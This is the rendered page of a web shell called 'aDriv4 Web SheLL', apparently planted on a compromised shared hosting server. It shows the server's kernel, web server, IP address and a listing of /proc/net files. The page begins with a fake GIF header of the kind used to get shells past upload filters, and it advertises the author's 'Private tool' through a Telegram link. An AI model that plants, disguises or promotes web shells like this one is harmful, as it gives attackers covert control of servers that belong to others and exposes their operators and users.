GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium155.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
 LiteSpeed
 162.0.235.200
Name Type Size Owner/Group Permission Last Modified Actions
. dir - garumycc/garumycc 0555 2026-02-04 09:12:06
.. dir - garumycc/garumycc 0555 2026-02-04 09:11:38
dev_snmp6 dir - root/root 0555 2026-02-04 09:12:07
netfilter dir - root/root 0555 2026-02-04 09:12:07
nfsfs dir - root/root 0555 2026-02-04 09:12:07
rpc dir - root/root 0555 2026-02-04 09:12:07
stat dir - root/root 0555 2026-02-04 09:12:07
anycast6 application/x-empty 0 B root/root 0444 2026-02-04 09:12:07
arp text/plain 0 B root/root 0444 2026-02-04 09:12:07
connector text/plain 0 B root/root 0444 2026-02-04 09:12:07
dev text/plain 0 B root/root 0444 2026-02-04 09:12:07
dev_mcast text/plain 0 B root/root 0444 2026-02-04 09:12:07
fib_trie text/plain 0 B root/root 0444 2026-02-04 09:12:07
fib_triestat text/plain 0 B root/root 0444 2026-02-04 09:12:07
icmp text/plain 0 B root/root 0444 2026-02-04 09:12:07
icmp6 text/plain 0 B root/root 0444 2026-02-04 09:12:07
if_inet6 text/plain 0 B root/root 0444 2026-02-04 09:12:07
igmp text/plain 0 B root/root 0444 2026-02-04 09:12:07
igmp6 text/plain 0 B root/root 0444 2026-02-04 09:12:07
ip6_flowlabel text/plain 0 B root/root 0444 2026-02-04 09:12:08
ip6_mr_cache text/plain 0 B root/root 0444 2026-02-04 09:12:08
ip6_mr_vif text/plain 0 B root/root 0444 2026-02-04 09:12:08
ip_mr_cache text/plain 0 B root/root 0444 2026-02-04 09:12:08
ip_mr_vif text/plain 0 B root/root 0444 2026-02-04 09:12:08
ip_tables_matches 0 B root/root 0440 2026-02-04 09:12:07
ip_tables_names 0 B root/root 0440 2026-02-04 09:12:08
ip_tables_targets 0 B root/root 0440 2026-02-04 09:12:07
ipv6_route text/plain 0 B root/root 0444 2026-02-04 09:12:08
mcfilter text/plain 0 B root/root 0444 2026-02-04 09:12:08
mcfilter6 text/plain 0 B root/root 0444 2026-02-04 09:12:08
netlink text/plain 0 B root/root 0444 2026-02-04 09:12:08
netstat text/plain 0 B root/root 0444 2026-02-04 09:12:08
nf_conntrack 0 B root/root 0440 2026-02-04 09:12:08
nf_conntrack_expect 0 B root/root 0440 2026-02-04 09:12:08
packet text/plain 0 B root/root 0444 2026-02-04 09:12:08
protocols text/plain 0 B root/root 0444 2026-02-04 09:12:08
psched text/plain 0 B root/root 0444 2026-02-04 09:12:07
ptype text/plain 0 B root/root 0444 2026-02-04 09:12:08
raw text/plain 0 B root/root 0444 2026-02-04 09:12:08
raw6 text/plain 0 B root/root 0444 2026-02-04 09:12:08
route text/plain 0 B root/root 0444 2026-02-04 09:12:08
rt6_stats text/plain 0 B root/root 0444 2026-02-04 09:12:09
rt_acct application/octet-stream 0 B root/root 0444 2026-02-04 09:12:07
rt_cache text/plain 0 B root/root 0444 2026-02-04 09:12:07
snmp text/plain 0 B root/root 0444 2026-02-04 09:12:09
snmp6 text/plain 0 B root/root 0444 2026-02-04 09:12:09
sockstat text/plain 0 B root/root 0444 2026-02-04 09:12:09
sockstat6 text/plain 0 B root/root 0444 2026-02-04 09:12:09
softnet_stat text/plain 0 B root/root 0444 2026-02-04 09:12:07
tcp text/plain 0 B root/root 0444 2026-02-04 09:12:09
tcp6 text/plain 0 B root/root 0444 2026-02-04 09:12:10
udp text/plain 0 B root/root 0444 2026-02-04 09:12:10
udp6 text/plain 0 B root/root 0444 2026-02-04 09:12:10
udplite text/plain 0 B root/root 0444 2026-02-04 09:12:10
udplite6 text/plain 0 B root/root 0444 2026-02-04 09:12:10
unix text/plain 0 B root/root 0444 2026-02-04 09:12:10
xfrm_stat text/plain 0 B root/root 0444 2026-02-04 09:12:10
© aDriv4